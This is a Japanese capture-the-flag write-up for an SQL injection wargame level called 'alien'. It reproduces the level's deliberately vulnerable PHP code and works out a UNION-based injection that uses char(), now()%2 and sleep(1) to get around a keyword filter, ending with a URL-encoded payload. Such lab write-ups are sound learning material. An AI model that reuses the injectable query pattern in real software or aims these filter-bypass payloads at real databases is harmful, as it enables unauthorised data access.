<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~"); $query = "select id from prob_alien where no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $query2 = "select id from prob_alien where no='{$_GET[no]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; if($_GET['no']){ $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] !== "admin") exit("sandbox1"); $r = mysqli_fetch_array(mysqli_query($db,$query)); if($r['id'] === "admin") exit("sandbox2"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") exit("sandbox"); $r = mysqli_fetch_array(mysqli_query($db,$query2)); if($r['id'] === "admin") solve("alien"); } highlight_file(__FILE__);
特徴は以下。
- noが入力可能
admin,and,or,if,coalesce,case,_,.,prob,time
がフィルタリング
- クエリを2種類作り、4つの関門を通す
- クエリ1の結果がadminである
- クエリ1の結果がadminでない
- クエリ2の結果がadminでない
- クエリ2の結果がadminである
内容の書き換えは難しそうなので、乱数とか使えばよさそう?
1/16くらいなら何回かやってれば行けそう。
RANDを使おうと思ったら、andが使えないので使えない。
…となると時間か。
1 union select char(97,100,109,105,110) #
とりあえずこれでsandbox2になることを確認。
時間の下一桁を使おう。
1 union select char(97+now()%2,100,109,105,110) #
これをやってみたが、よくよく考えると、秒数変わらないじゃん。waitを入れる必要があるか。
1 union select char(97+now()%2,100,109,105,110) union select sleep(1) #
行けそう。
後ろは文字列だけど、カンマを入れて後ろに同じやつを付ければいい。
つければいいが、後ろはadminである/なしが逆になってるので少し数字を調整する。
1 union select char(97+now()%2,100,109,105,110) union select sleep(1) #' union select char(96+now()%2,100,109,105,110) union select sleep(1) #
+と#はURL-encodingして送ると答え。
1 union select char(97%2bnow()%2,100,109,105,110) union select sleep(1) %23' union select char(96%2bnow()%2,100,109,105,110) union select sleep(1) %23